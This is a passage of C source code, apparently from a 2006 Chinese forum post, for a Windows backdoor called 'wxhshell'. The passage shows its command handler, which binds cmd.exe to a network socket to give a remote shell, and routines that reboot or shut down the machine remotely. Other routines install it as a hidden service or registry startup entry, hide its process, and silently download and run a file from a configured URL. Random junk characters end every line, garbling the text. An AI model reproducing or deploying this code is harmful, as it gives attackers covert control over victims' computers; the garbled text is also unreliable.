  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zDD4m`2  
  else aX;A==>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hk%k(^ekU]  
  } gH[,Xx?BN!  
  else { zJ+3g!  
mzWP8Hlw  
    switch(cmd[0]) { l _+6=u  
  HTV ~?E  
  // 帮助 H3 , ut  
  case '?': { 8-m 3e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K/txD20 O|  
    break; ~2@Lx3t$  
  } (9 sIA*,}  
  // 安装 jNA1O68N  
  case 'i': { |~WYEh  
    if(Install()) UUeB;'E+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /@hJpz|+   
    else )tS-.PrA-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .h4\{|  
    break;  4*TmlY  
    } &SH1q_&BQ  
  // 卸载 ` J]xP$)  
  case 'r': { WF2NG;f=  
    if(Uninstall()) zvY+R\,in  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MuwQZ]u  
    else Ha%F"V*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WNs}sNSf  
    break; ZtK\HDdp  
    } Gh}yb-$N`&  
  // 显示 wxhshell 所在路径 y7: tr  
  case 'p': { \=;uu_v$  
    char svExeFile[MAX_PATH]; Ye5jB2Z  
    strcpy(svExeFile,"\n\r"); wG 1l+^p  
      strcat(svExeFile,ExeFile); ;#1Iiuh  
        send(wsh,svExeFile,strlen(svExeFile),0); WkP +r9rT  
    break; DIaYo4  
    } ~>Kq<]3~  
  // 重启 nPN?kO=]  
  case 'b': { JN4fPGbV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {^}0 G^  
    if(Boot(REBOOT)) paW@\1Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : =Kx/E:1  
    else { n((vY.NDV  
    closesocket(wsh); $bvJTuw  
    ExitThread(0); ,lt8O.h-l  
    } t 9^A(Vh"-  
    break; FY'ty@|_s  
    } 2 rN ,D(  
  // 关机 "B{ECM;  
  case 'd': { 0:=ZkEEeU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l>6@:nq|R  
    if(Boot(SHUTDOWN)) x[(?#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k`\R+WK$  
    else { ]ikomCg   
    closesocket(wsh); -r<#rITH"  
    ExitThread(0); 4-R^/A0  
    } N@xg:xr  
    break; -.IEgggf  
    } g5Z#xszj+  
  // 获取shell !TKkec8$  
  case 's': { 1u|V`J)0  
    CmdShell(wsh); t *G/]  
    closesocket(wsh); ka"337H  
    ExitThread(0); ~rD={&0  
    break; 2HD]?:Fk7  
  } WG7k(Sp ]  
  // 退出 nV*y`.+  
  case 'x': { 9Q;c ,]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .]x2K-Sf  
    CloseIt(wsh);  d$W  
    break; -%CoWcGP  
    } '?QuJFki  
  // 离开 @+LfQY  
  case 'q': { EH*o"N`!r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UPiW73Nu  
    closesocket(wsh); ,=QM#l]  
    WSACleanup(); Ju2l?Rr X  
    exit(1); 8RW&r  
    break; V\]" }V)"  
        } p(F" /  
  } /) 4GSC}Gg  
  } IA&L]  
@n&<B`/  
  // 提示信息 tV;`fV   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y&HK1>M_  
} Bux [6O %  
  } Hr<o!e{Y  
px;/8c-  
  return; U]|agz>  
} R\|lt)h  
n5-)/R[z  
// shell模块句柄 9BEFr/.  
int CmdShell(SOCKET sock) '8Ztj  
{ Ih}1%Jq  
STARTUPINFO si; pd[ncL  
ZeroMemory(&si,sizeof(si)); LQYy;<K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fvq,,@23  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OZY,@c  
PROCESS_INFORMATION ProcessInfo; H)w(q^i  
char cmdline[]="cmd"; S~Z|PLtF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qa`-* 4m  
  return 0; [, RI-#n  
} 3REx45M2  
DQ#H,\ ^<  
// 自身启动模式 I` K$E/ns  
int StartFromService(void) O,2~"~kF  
{ i':i_kU  
typedef struct gi/@ j  
{ B+d<F[ |  
  DWORD ExitStatus; F>je4S;  
  DWORD PebBaseAddress; |{r$jZeE  
  DWORD AffinityMask; j%u-dr  
  DWORD BasePriority; N,dT3we  
  ULONG UniqueProcessId; `:m!~  
  ULONG InheritedFromUniqueProcessId; '_\;jFAM  
}   PROCESS_BASIC_INFORMATION; $''?HjB}T  
\c v?^AI  
PROCNTQSIP NtQueryInformationProcess; {`=0 |oP}  
K,'*Dz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cJo\#cr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %@a8P  
IQ< MyB(  
  HANDLE             hProcess; 1=sXdcy;  
  PROCESS_BASIC_INFORMATION pbi; ?3ig)J,e[  
w]b,7QuNz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '^BV_QQ  
  if(NULL == hInst ) return 0; !Z!g:II /  
mR\`DltoV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :F,O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FWue;pw3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ).` S/F  
W7"{r)7  
  if (!NtQueryInformationProcess) return 0; Zv11uH-C  
Ji1Pz)fq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ho DVn/lr  
  if(!hProcess) return 0; ;8WZx  
@vL20O.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fj7|D'c  
-9 !.m  
  CloseHandle(hProcess); }G o$ \Bk  
vb 1@yQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z=B_Ty  
if(hProcess==NULL) return 0; b`yZ|j'ikd  
SK1!thQy  
HMODULE hMod; DFhXx6]  
char procName[255]; _lzyMEdr  
unsigned long cbNeeded; LMi:%i%\  
>Rvx[`|O!m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g4`Kp; }&'  
UJ-?k &j,  
  CloseHandle(hProcess); IK,|5]*Ar  
D|Iur W1f  
if(strstr(procName,"services")) return 1; // 以服务启动 %75xr9yOP  
}i {sg#  
  return 0; // 注册表启动 <FMq>d$\  
} [b{CkX06  
aQ^umrj@?9  
// 主模块 )"f N!9,F  
int StartWxhshell(LPSTR lpCmdLine) 4'$g(+z  
{ ?D,=37  
  SOCKET wsl; J PyOG _h  
BOOL val=TRUE; 1O].v&{  
  int port=0; k#[F`  
  struct sockaddr_in door; (b?{xf'G  
+3s%E{  
  if(wscfg.ws_autoins) Install(); H&r,FmI@  
|KB0P@=a  
port=atoi(lpCmdLine); :m86 hBE.  
D=:04V}2+  
if(port<=0) port=wscfg.ws_port; !D!~ ^\  
hA\K</h.  
  WSADATA data; e%8|<g+n6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [I4ege>  
Kvsh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hcVJBK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eh1Q7 ~  
  door.sin_family = AF_INET; o6f_l^+H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E_KCNn-f  
  door.sin_port = htons(port); UAR5^  
ycFio ,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GgaTn!mJt  
closesocket(wsl); Dnc(l(  
return 1; 1n%?@+W  
} .B#l5pfvP  
3@5=+z~CW  
  if(listen(wsl,2) == INVALID_SOCKET) { %m:m}ziLQ  
closesocket(wsl); zlR?,h-[3  
return 1; I^o!n5VM  
} 8|E'>+ D_-  
  Wxhshell(wsl); JS}{%(B  
  WSACleanup(); XLMb=T~S  
s1|/S\   
return 0; q+B&orp  
!`!| Zw  
} ~Lc066bLeq  
+[SgO}sF  
// 以NT服务方式启动 =^H4Yck/5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eZ"1gYqy  
{ Bgmn2-  
DWORD   status = 0; iC iZJ"  
  DWORD   specificError = 0xfffffff; RwS@I /  
Y>jiXl?&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AeAp0cbet  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JG{j)O|L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :4v3\+T  
  serviceStatus.dwWin32ExitCode     = 0; 7d92 Pe  
  serviceStatus.dwServiceSpecificExitCode = 0; [{C )LDN  
  serviceStatus.dwCheckPoint       = 0; s=?g\oR  
  serviceStatus.dwWaitHint       = 0; 8kP3+  
&rkEK4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p4VeRJk%  
  if (hServiceStatusHandle==0) return; zhY+x<-  
hzk6rYg1  
status = GetLastError(); nQ|r"|g  
  if (status!=NO_ERROR) r\nx=  
{ ie-vqLc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zE;bBwy&  
    serviceStatus.dwCheckPoint       = 0; Be+0NXLVy  
    serviceStatus.dwWaitHint       = 0; %e*@CbO$  
    serviceStatus.dwWin32ExitCode     = status; <0S=,!  
    serviceStatus.dwServiceSpecificExitCode = specificError; S*AERm   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lg"C]  
    return; e.c3nKXZ q  
  } KR7@[  
mo~*C   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p}[zt#v  
  serviceStatus.dwCheckPoint       = 0; =_YG#yS  
  serviceStatus.dwWaitHint       = 0; AyMd:5;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ko5V9Drc  
} []s^   
l }XU 59  
// 处理NT服务事件,比如:启动、停止 Z$J#|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dL|+d:v  
{ jY_T/233d  
switch(fdwControl) @29U@T  
{ |d6T/Uxo  
case SERVICE_CONTROL_STOP: )E+'*e{cK  
  serviceStatus.dwWin32ExitCode = 0; %'0T Xr$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _=|vgc  
  serviceStatus.dwCheckPoint   = 0; l7De6A"  
  serviceStatus.dwWaitHint     = 0; Fd*8N8Pi  
  { M:5b4$Qh<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C* nB  
  } }MUn/ [x  
  return; %kgkXc~6|x  
case SERVICE_CONTROL_PAUSE: J*9$;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bTQNb!&  
  break; Ytgj|@jsp  
case SERVICE_CONTROL_CONTINUE: aZbw]0q@o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l3 DYg  
  break; 1#1 riM -  
case SERVICE_CONTROL_INTERROGATE: u+{a8=  
  break; i1 RiGS  
}; 3P;>XGCxZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dK>7fy;mv  
} i*CZV|t US  
?.Pg\ur  
// 标准应用程序主函数 =/\:>+p^.y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QNDHOo>v  
{ Hr$QLtr  
^U]UqX`  
// 获取操作系统版本 t|m=J`a{q;  
OsIsNt=GetOsVer(); q{+_ <2U|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 10H)^p%3+  
{/pm<k=  
  // 从命令行安装 ;NRF=d>  
  if(strpbrk(lpCmdLine,"iI")) Install(); *{+G=d  
.CFa9"<  
  // 下载执行文件 Ao/ jt<  
if(wscfg.ws_downexe) { |g *XK6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;qBu4'C)T  
  WinExec(wscfg.ws_filenam,SW_HIDE); T9s2bC.z55  
} @g G<le6  
ES40?o*]x  
if(!OsIsNt) { 8zMu7,E  
// 如果时win9x,隐藏进程并且设置为注册表启动 IT$25ZF  
HideProc(); \}]!)}G  
StartWxhshell(lpCmdLine); O`vTnrY  
} Zkf0p9h\  
else $[yFsA6  
  if(StartFromService()) FN[{s  
  // 以服务方式启动 yeHDa+}  
  StartServiceCtrlDispatcher(DispatchTable); VWO9=A*Y|  
else o: ;"w"G  
  // 普通方式启动 <jed!x  
  StartWxhshell(lpCmdLine); dXnl'pFS  
Gm\/Y:U  
return 0; Gdg"gi!4  
}
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只看该作者 1 发表于: 2006-10-10
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